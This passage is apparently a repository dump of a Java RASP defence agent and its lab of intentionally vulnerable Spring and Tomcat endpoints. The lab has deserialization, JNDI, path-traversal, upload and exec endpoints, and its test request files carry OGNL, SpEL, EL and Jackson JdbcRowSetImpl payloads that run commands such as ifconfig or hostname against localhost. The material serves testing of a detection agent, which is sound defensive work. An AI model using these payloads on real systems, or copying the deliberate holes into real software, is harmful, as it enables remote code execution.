Directory"), 21 | 22 | /** 23 | * MS 24 | */ 25 | MSController("Spring Controller MemShell"), 26 | MSExecutor("Executor MemShell"), 27 | MSListener("Listener MemShell"), 28 | MSServlet("Servlet MemShell"), 29 | MSFilter("Filter MemShell"), 30 | ; 31 | 32 | private final String description; 33 | 34 | VulInfo(String description) { 35 | this.description = description; 36 | } 37 | 38 | public String getDescription() { 39 | return description; 40 | } 41 | 42 | } 43 | -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case02-exec.http: -------------------------------------------------------------------------------- 1 | ### 2 | # case1 runtime 3 | POST /exec/case1 HTTP/1.1 4 | Host: 127.0.0.1:8080 5 | Content-Type: application/x-www-form-urlencoded 6 | 7 | str=ifconfig 8 | 9 | 10 | ### 11 | # case2 thread 12 | POST /exec/case2 HTTP/1.1 13 | Host: 127.0.0.1:8080 14 | Content-Type: application/x-www-form-urlencoded 15 | 16 | str=ifconfig 17 | 18 | 19 | ### 20 | # case3 processImpl 21 | POST /exec/case3 HTTP/1.1 22 | Host: 127.0.0.1:8080 23 | Content-Type: application/x-www-form-urlencoded 24 | 25 | str=ifconfig 26 | 27 | 28 | ### 29 | # case4 processBuilder 30 | POST /exec/case4 HTTP/1.1 31 | Host: 127.0.0.1:8080 32 | Content-Type: application/x-www-form-urlencoded 33 | 34 | str=ifconfig 35 | 36 | 37 | ### 38 | # case5 processImplUnixProcess 39 | POST /exec/case5 HTTP/1.1 40 | Host: 127.0.0.1:8080 41 | Content-Type: application/x-www-form-urlencoded 42 | 43 | str=ifconfig 44 | 45 | 46 | ### 47 | # case6 processImplUnixProcessByUnsafeNative 48 | POST /exec/case6 HTTP/1.1 49 | Host: 127.0.0.1:8080 50 | Content-Type: application/x-www-form-urlencoded 51 | 52 | str=ifconfig 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/common/StackTracer.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.common; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | 6 | /** 7 | * @author Whoopsunix 8 | * 9 | * 获取调用栈信息 10 | */ 11 | public class StackTracer { 12 | // 限制调用栈深度 13 | private static int maxStackLength = 100; 14 | 15 | /** 16 | * 获取调用栈为列表 17 | * @return 18 | */ 19 | public static List getStack() { 20 | StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace(); 21 | 22 | List stackList = new ArrayList<>(); 23 | int stackLength = stackTraceElements.length; 24 | // 控制栈深度,避免超长调用链 25 | if (stackLength > maxStackLength) { 26 | stackLength = maxStackLength; 27 | } 28 | for (int i = stackLength - 1; i >= 0; i--) { 29 | stackList.add(stackTraceElements[i].toString()); 30 | // 到 hook 包后不再继续获取 31 | if (stackTraceElements[i].getClassName().startsWith("com.ppprasp.agent.hook.")) { 32 | break; 33 | } 34 | } 35 | 36 | return stackList; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/JNDIController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller; 2 | 3 | import com.ppp.vulns.core.vulns.JNDI; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.bind.annotation.ResponseBody; 7 | 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.io.IOException; 11 | 12 | /** 13 | * @author Whoopsunix 14 | */ 15 | @Controller 16 | @RequestMapping("/jndi") 17 | public class JNDIController { 18 | @RequestMapping("/case1") 19 | @ResponseBody 20 | public Object case1(HttpServletRequest request, HttpServletResponse response) throws IOException { 21 | try { 22 | String url = request.getParameter("url"); 23 | System.out.println(url); 24 | 25 | Object result = JNDI.lookup(url); 26 | System.out.println(result); 27 | 28 | return result; 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | return null; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/serialization/XStreamController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.serialization; 2 | 3 | import com.ppp.vulns.core.vulns.serialization.XStreamDemo; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestBody; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.ResponseBody; 8 | 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.io.IOException; 12 | import java.io.PrintWriter; 13 | 14 | /** 15 | * @author Whoopsunix 16 | */ 17 | @Controller 18 | @RequestMapping("/xstream") 19 | public class XStreamController { 20 | @RequestMapping("/case1") 21 | @ResponseBody 22 | public void case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { 23 | System.out.println(requestBody); 24 | 25 | Object result = XStreamDemo.deserialize(requestBody); 26 | 27 | PrintWriter writer = response.getWriter(); 28 | writer.println(result); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/check/ClassChecker.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.check; 2 | 3 | import java.io.File; 4 | import java.net.URL; 5 | 6 | /** 7 | * @author Whoopsunix 8 | */ 9 | public class ClassChecker { 10 | /** 11 | * 是否存在本地 Class 文件 12 | * @param clazz 13 | * @return 14 | */ 15 | public static boolean hasLocalClassFile(Class clazz) { 16 | String className = clazz.getName(); 17 | String classFileName = className.replace('.', '/') + ".class"; 18 | // 使用类加载器获取类文件 19 | URL resource = clazz.getClassLoader().getResource(classFileName); 20 | if (resource == null) { 21 | return false; 22 | } else { 23 | File classFile = new File(resource.getFile()); 24 | return classFile.exists(); 25 | } 26 | 27 | // // 尝试从文件系统路径中查找类文件 28 | // URL location = clazz.getProtectionDomain().getCodeSource().getLocation(); 29 | // if (location == null) { 30 | // return false; 31 | // } else { 32 | // File classFile = new File(location.getPath() + classFileName); 33 | // return classFile.exists(); 34 | // } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/serialization/FastjsonController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.serialization; 2 | 3 | import com.ppp.vulns.core.vulns.serialization.FastjsonDemo; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestBody; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.ResponseBody; 8 | 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.io.IOException; 12 | import java.io.PrintWriter; 13 | 14 | /** 15 | * @author Whoopsunix 16 | */ 17 | @Controller 18 | @RequestMapping("/fastjson") 19 | public class FastjsonController { 20 | @RequestMapping("/case1") 21 | @ResponseBody 22 | public void case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { 23 | System.out.println(requestBody); 24 | 25 | Object result = FastjsonDemo.parseObject(requestBody); 26 | 27 | PrintWriter writer = response.getWriter(); 28 | writer.println(result); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/serialization/SnakeYamlController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.serialization; 2 | 3 | import com.ppp.vulns.core.vulns.serialization.SnakeYamlDemo; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestBody; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.ResponseBody; 8 | 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.io.IOException; 12 | import java.io.PrintWriter; 13 | 14 | /** 15 | * @author Whoopsunix 16 | */ 17 | @Controller 18 | @RequestMapping("/snakeyaml") 19 | public class SnakeYamlController { 20 | @RequestMapping("/case1") 21 | @ResponseBody 22 | public void case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { 23 | System.out.println(requestBody); 24 | 25 | Object result = SnakeYamlDemo.deserialize(requestBody); 26 | 27 | PrintWriter writer = response.getWriter(); 28 | writer.println(result); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/check/CVEChecker.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.check; 2 | 3 | import java.util.HashMap; 4 | 5 | /** 6 | * @author Whoopsunix 7 | * 8 | * CVE 黑名单检测 9 | */ 10 | public class CVEChecker { 11 | public static HashMap cveStackTracer = new HashMap() {{ 12 | /** 13 | * SPEL 14 | */ 15 | put("org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry", "spring-messaging CVE-2018-1270, CVE-2018-1275"); 16 | 17 | /** 18 | * Deserialization 19 | */ 20 | put("org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler", "Apache Dubbo CVE-2019-17564"); 21 | put("com.alibaba.com.caucho.hessian.io.Hessian2Input", "Apache Dubbo CVE-2020-1948"); 22 | }}; 23 | 24 | /** 25 | * 调用链是否包含 CVE 漏洞的触发类 26 | * @param className 27 | * @return 28 | */ 29 | public static String isCVE(String className) { 30 | for (String cveClassName : cveStackTracer.keySet()) { 31 | if (className.startsWith(cveClassName)) { 32 | return cveStackTracer.get(cveClassName); 33 | } 34 | } 35 | return null; 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/files/FileDirectoryServlet.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.javax.tomcat.servlet.files; 2 | 3 | import com.ppp.vulns.core.vulns.files.FileDirectory; 4 | import org.apache.commons.fileupload.FileItem; 5 | import org.apache.commons.fileupload.disk.DiskFileItemFactory; 6 | import org.apache.commons.fileupload.servlet.ServletFileUpload; 7 | 8 | import javax.servlet.ServletContext; 9 | import javax.servlet.annotation.MultipartConfig; 10 | import javax.servlet.annotation.WebServlet; 11 | import javax.servlet.http.HttpServlet; 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | import java.io.File; 15 | import java.io.IOException; 16 | import java.util.Arrays; 17 | import java.util.List; 18 | 19 | /** 20 | * @author Whoopsunix 21 | *

22 | * 路径遍历 23 | */ 24 | @MultipartConfig 25 | @WebServlet("/file/directory/case1") 26 | public class FileDirectoryServlet extends HttpServlet { 27 | @Override 28 | protected void doPost(HttpServletRequest request, HttpServletResponse response) { 29 | String filePath = FileUtils.getResourcePath() + request.getParameter("filePath"); 30 | System.out.println(filePath); 31 | 32 | String[] dirs = FileDirectory.listFiles(filePath); 33 | System.out.println(Arrays.toString(dirs)); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /ppprasp-agent/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | 8 | com.alibaba.jvm.sandbox 9 | sandbox-module-starter 10 | 1.4.0 11 | 12 | 13 | 14 | com.ppprasp.agent 15 | ppprasp-agent 16 | 1.0.0 17 | 18 | 19 | 20 | 21 | 8 22 | 8 23 | 24 | 25 | 26 | 27 | org.apache.commons 28 | commons-lang3 29 | 3.4 30 | 31 | 32 | 33 | 34 | org.yaml 35 | snakeyaml 36 | 2.2 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/Base64DeSerializerServlet.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.javax.tomcat.servlet; 2 | 3 | import javax.servlet.annotation.WebServlet; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.ByteArrayInputStream; 8 | import java.io.ObjectInputStream; 9 | import java.util.Base64; 10 | 11 | @WebServlet("/deserialization/case1/base64") 12 | public class Base64DeSerializerServlet extends HttpServlet { 13 | @Override 14 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 15 | String cmd = req.getParameter("cmd"); 16 | System.out.println(cmd); 17 | } 18 | 19 | @Override 20 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) { 21 | try { 22 | // 反序列化 23 | String base64Str = req.getParameter("base64Str"); 24 | System.out.println(base64Str); 25 | byte[] bytes = Base64.getDecoder().decode(base64Str); 26 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); 27 | ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); 28 | objectInputStream.readObject(); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | } 33 | 34 | } 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case07-expression/ognl.http: -------------------------------------------------------------------------------- 1 | ### 2 | # case1 ognlGetValue 3 | POST /ognl/case1 HTTP/1.1 4 | Host: 127.0.0.1:8080 5 | Content-Type: text/plain 6 | 7 | (#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#inputStream=#process.getInputStream()).(@org.apache.commons.io.IOUtils@toString(#inputStream,'UTF-8')) 8 | 9 | 10 | ### 11 | # case2 ognlSetValue 12 | POST /ognl/case2 HTTP/1.1 13 | Host: 127.0.0.1:8080 14 | Content-Type: text/plain 15 | 16 | (@java.lang.Runtime@getRuntime().exec('open -a Calculator.app'))(a)(b) 17 | 18 | 19 | ### 20 | # case3 ognlGetValueIbatis 21 | POST /ognl/case3 HTTP/1.1 22 | Host: 127.0.0.1:8080 23 | Content-Type: text/plain 24 | 25 | (#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#inputStream=#process.getInputStream()).(@org.apache.commons.io.IOUtils@toString(#inputStream,'UTF-8')) 26 | 27 | 28 | ### 29 | # case4 ognlSetValueIbatis 30 | POST /ognl/case4 HTTP/1.1 31 | Host: 127.0.0.1:8080 32 | Content-Type: text/plain 33 | 34 | (@java.lang.Runtime@getRuntime().exec('open -a Calculator.app'))(a)(b) 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/files/FileUpload2Servlet.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.javax.tomcat.servlet.files; 2 | 3 | import javax.servlet.ServletContext; 4 | import javax.servlet.annotation.MultipartConfig; 5 | import javax.servlet.annotation.WebServlet; 6 | import javax.servlet.http.HttpServlet; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import javax.servlet.http.Part; 10 | 11 | /** 12 | * @author Whoopsunix 13 | */ 14 | @MultipartConfig 15 | @WebServlet("/file/upload/case4") 16 | public class FileUpload2Servlet extends HttpServlet { 17 | @Override 18 | protected void doPost(HttpServletRequest request, HttpServletResponse response) { 19 | try { 20 | Part file = request.getPart("file"); 21 | String fileName = file.getSubmittedFileName(); 22 | System.out.println(fileName); 23 | 24 | // 获取 ServletContext 对象 25 | ServletContext servletContext = getServletContext(); 26 | 27 | // 获取 WEB-INF 目录下的资源路径 28 | String resourcePath = "/WEB-INF/"; 29 | 30 | // 获取资源的真实路径 31 | String uploadPath = servletContext.getRealPath(resourcePath) + "upload/"; 32 | System.out.println(uploadPath); 33 | 34 | String filePath = uploadPath + fileName; 35 | file.write(filePath); 36 | 37 | } catch (Exception e) { 38 | 39 | } 40 | 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/files/FileDirectoryController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.files; 2 | 3 | import com.ppp.vulns.core.vulns.files.FileDirectory; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.bind.annotation.ResponseBody; 7 | 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.io.IOException; 11 | 12 | /** 13 | * @author Whoopsunix 14 | * 15 | */ 16 | @Controller 17 | @RequestMapping("/file/directory") 18 | public class FileDirectoryController { 19 | 20 | @RequestMapping("/case1") 21 | @ResponseBody 22 | public Object case1(HttpServletRequest request, HttpServletResponse response) throws IOException { 23 | String filePath = FileUtils.getResourcePath() + request.getParameter("filePath"); 24 | System.out.println(filePath); 25 | 26 | String[] dirs = FileDirectory.listFiles(filePath); 27 | return dirs; 28 | } 29 | 30 | @RequestMapping("/case2") 31 | @ResponseBody 32 | public Object case2(HttpServletRequest request, HttpServletResponse response) throws IOException { 33 | String filePath = FileUtils.getResourcePath() + request.getParameter("filePath"); 34 | System.out.println(filePath); 35 | 36 | String[] dirs = FileDirectory.list(filePath); 37 | return dirs; 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/webapp/expression/index.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8" %> 2 | 3 | <%-- 测试用 --%> 4 | 5 | <%--${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami")}--%> 6 | 7 | ${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("hostname").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")} -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/safe/SPEL.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.safe; 2 | 3 | import org.springframework.expression.EvaluationContext; 4 | import org.springframework.expression.Expression; 5 | import org.springframework.expression.spel.standard.SpelExpressionParser; 6 | import org.springframework.expression.spel.support.SimpleEvaluationContext; 7 | import org.springframework.expression.spel.support.StandardEvaluationContext; 8 | 9 | /** 10 | * @author Whoopsunix 11 | */ 12 | public class SPEL { 13 | 14 | public static void main(String[] args) { 15 | String runtimeEcho = "new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter(\"\\\\A\").next()"; 16 | Object obj = spelSimpleEvaluationContext(runtimeEcho); 17 | System.out.println(obj); 18 | } 19 | 20 | /** 21 | * SimpleEvaluationContext 22 | */ 23 | public static Object spelSimpleEvaluationContext(String payload) { 24 | EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build(); 25 | return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext); 26 | } 27 | 28 | public static Object spelSafe(String payload) { 29 | StandardEvaluationContext context = new StandardEvaluationContext(); 30 | context.setVariable("payload", payload); 31 | Expression expression = new SpelExpressionParser().parseExpression("#payload"); 32 | return expression.getValue(context); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/inject/sql/Users.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.inject.sql; 2 | 3 | import javax.persistence.Column; 4 | import javax.persistence.Entity; 5 | import javax.persistence.Id; 6 | import javax.persistence.Table; 7 | 8 | /** 9 | * @author Whoopsunix 10 | */ 11 | @Entity 12 | @Table(name = "users") 13 | public class Users { 14 | @Id 15 | private Integer id; 16 | @Column 17 | private String username; 18 | @Column 19 | private String password; 20 | 21 | public Users() { 22 | } 23 | 24 | public Users(Integer id, String username, String password) { 25 | this.id = id; 26 | this.username = username; 27 | this.password = password; 28 | } 29 | 30 | public Integer getId() { 31 | return id; 32 | } 33 | 34 | public void setId(Integer id) { 35 | this.id = id; 36 | } 37 | 38 | public String getUsername() { 39 | return username; 40 | } 41 | 42 | public void setUsername(String username) { 43 | this.username = username; 44 | } 45 | 46 | public String getPassword() { 47 | return password; 48 | } 49 | 50 | public void setPassword(String password) { 51 | this.password = password; 52 | } 53 | 54 | @Override 55 | public String toString() { 56 | return "Users{" + 57 | "id=" + id + 58 | ", username='" + username + '\'' + 59 | ", password='" + password + '\'' + 60 | '}'; 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/serialization/Original.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.serialization; 2 | 3 | import java.io.*; 4 | import java.util.zip.GZIPInputStream; 5 | 6 | /** 7 | * @author Whoopsunix 8 | */ 9 | public class Original { 10 | public static Object deserializeByte(final byte[] serialized) throws IOException, ClassNotFoundException { 11 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 12 | return deserialize(in); 13 | } 14 | 15 | public static Object deserializeBase64(final String base64Str) throws IOException, ClassNotFoundException { 16 | final byte[] serialized = new sun.misc.BASE64Decoder().decodeBuffer(base64Str); 17 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 18 | return deserialize(in); 19 | } 20 | 21 | public static Object deserializeBase64GZip(final String base64Str) throws IOException, ClassNotFoundException { 22 | final byte[] serialized = new sun.misc.BASE64Decoder().decodeBuffer(base64Str); 23 | ByteArrayInputStream byteStream = new ByteArrayInputStream(serialized); 24 | GZIPInputStream gzipStream = new GZIPInputStream(byteStream); 25 | ObjectInput objectInput = new ObjectInputStream(gzipStream); 26 | return objectInput.readObject(); 27 | } 28 | 29 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { 30 | final ObjectInputStream objIn = new ObjectInputStream(in); 31 | return objIn.readObject(); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/expression/SPEL.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.expression; 2 | 3 | import org.springframework.context.expression.MethodBasedEvaluationContext; 4 | import org.springframework.expression.EvaluationContext; 5 | import org.springframework.expression.spel.standard.SpelExpressionParser; 6 | import org.springframework.expression.spel.support.StandardEvaluationContext; 7 | /** 8 | * @author Whoopsunix 9 | */ 10 | public class SPEL { 11 | 12 | public static void main(String[] args) { 13 | String runtimeEcho = "new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter(\"\\\\A\").next()"; 14 | Object obj = spelMethodBasedEvaluationContext(runtimeEcho); 15 | System.out.println(obj); 16 | } 17 | 18 | public static Object spel(String payload) { 19 | return new SpelExpressionParser().parseExpression(payload).getValue(); 20 | } 21 | 22 | /** 23 | * 默认也是用的 StandardEvaluationContext 24 | */ 25 | public static Object spelStandardEvaluationContext(String payload) { 26 | EvaluationContext evaluationContext = new StandardEvaluationContext(); 27 | return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext); 28 | } 29 | 30 | public static Object spelMethodBasedEvaluationContext(String payload) { 31 | EvaluationContext evaluationContext = new MethodBasedEvaluationContext(null, null, null, null); 32 | return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/serialization/JacksonDemo.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.serialization; 2 | 3 | import com.fasterxml.jackson.annotation.JsonTypeInfo; 4 | import com.fasterxml.jackson.databind.ObjectMapper; 5 | 6 | /** 7 | * @author Whoopsunix 8 | */ 9 | public class JacksonDemo { 10 | 11 | public static void main(String[] args) throws Exception { 12 | readValue("{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/ehyo2t\",\"autoCommit\":true}"); 13 | } 14 | public static Object readValue(String json) { 15 | try { 16 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 17 | ObjectMapper objectMapper = new ObjectMapper(); 18 | objectMapper.enableDefaultTyping(); 19 | objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY); 20 | 21 | // 用ObjectMapper.disableDefaultTyping()设置为只允许@JsonTypeInfo生效 22 | // objectMapper.disableDefaultTyping(); 23 | 24 | // Method disableDefaultTypingM = objectMapper.getClass().getMethod("disableDefaultTyping"); 25 | // disableDefaultTypingM.invoke(objectMapper); 26 | 27 | // json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/ehyo2t\",\"autoCommit\":true}"; 28 | System.out.println(json); 29 | Object object = objectMapper.readValue(json, Object.class); 30 | return object; 31 | }catch (Exception e){ 32 | e.printStackTrace(); 33 | } 34 | return null; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | Archetype Created Web Application 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/resources/raspConfig.yml: -------------------------------------------------------------------------------- 1 | # 反序列化 2 | rasp-deserialization: 3 | # 是否启用该检测 true false 4 | enable: true 5 | # open 开启 closed 关闭 log 只记录不拦截 6 | algorithms: 7 | resolveClass: open 8 | xml: open 9 | 10 | # 表达式注入 11 | rasp-expression: 12 | # 是否启用该检测 true false 13 | enable: true 14 | # open 开启 closed 关闭 log 只记录不拦截 15 | algorithms: 16 | spel: open 17 | ognl: open 18 | jxpath: open 19 | 20 | # jndi 注入 21 | rasp-jndi: 22 | # 是否启用该检测 true false 23 | enable: true 24 | # open 开启 closed 关闭 log 只记录不拦截 25 | algorithms: 26 | lookup: open 27 | 28 | # jni 注入 29 | rasp-jni: 30 | # 是否启用该检测 true false 31 | enable: true 32 | # open 开启 closed 关闭 log 只记录不拦截 33 | algorithms: 34 | loadLibrary: open 35 | 36 | # 命令执行 37 | rasp-rce: 38 | # 是否启用该检测 true false 39 | enable: true 40 | # open 开启 closed 关闭 log 只记录不拦截 41 | algorithms: 42 | normal: open 43 | native: open 44 | 45 | # SQL 注入 46 | rasp-sql: 47 | # 是否启用该检测 true false 48 | enable: true 49 | # open 开启 closed 关闭 log 只记录不拦截 50 | algorithms: 51 | mysql: open 52 | 53 | # 文件上传 54 | rasp-file-upload: 55 | # 是否启用该检测 true false 56 | enable: true 57 | # open 开启 closed 关闭 log 只记录不拦截 58 | algorithms: 59 | fileItem: open 60 | 61 | # 路径遍历 62 | rasp-file-directory: 63 | # 是否启用该检测 true false 64 | enable: true 65 | # open 开启 closed 关闭 log 只记录不拦截 66 | algorithms: 67 | list: open 68 | 69 | ## 70 | ## 内存马 71 | ## 72 | rasp-ms: 73 | # 是否启用该检测 true false 74 | enable: true 75 | # open 开启 closed 关闭 log 只记录不拦截 76 | algorithms: 77 | spring-controller: open 78 | tomcat-executor: open 79 | tomcat-listener: open 80 | tomcat-servlet: open 81 | tomcat-filter: open 82 | jetty-listener: open 83 | 84 | -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case04-files/upload.http: -------------------------------------------------------------------------------- 1 | ### springboot2 2 | # Upload 3 | POST /file/upload/case1 HTTP/1.1 4 | Host: 127.0.0.1:8080 5 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW 6 | 7 | ------WebKitFormBoundary7MA4YWxkTrZu0gW 8 | Content-Disposition: form-data; name="file"; filename="1.txt" 9 | Content-Type: application/octet-stream 10 | 11 | < ./1.txt 12 | ------WebKitFormBoundary7MA4YWxkTrZu0gW-- 13 | 14 | 15 | ### springboot2 16 | # Upload org.springframework.web.multipart.commons.CommonsMultipartFile#transferTo(java.io.File) 17 | POST /file/upload/case2 HTTP/1.1 18 | Host: 127.0.0.1:8080 19 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW 20 | 21 | ------WebKitFormBoundary7MA4YWxkTrZu0gW 22 | Content-Disposition: form-data; name="file"; filename="1.txt" 23 | Content-Type: application/octet-stream 24 | 25 | < ./1.txt 26 | ------WebKitFormBoundary7MA4YWxkTrZu0gW-- 27 | 28 | 29 | 30 | ### commons-fileupload 31 | POST /file/upload/case3 HTTP/1.1 32 | Host: 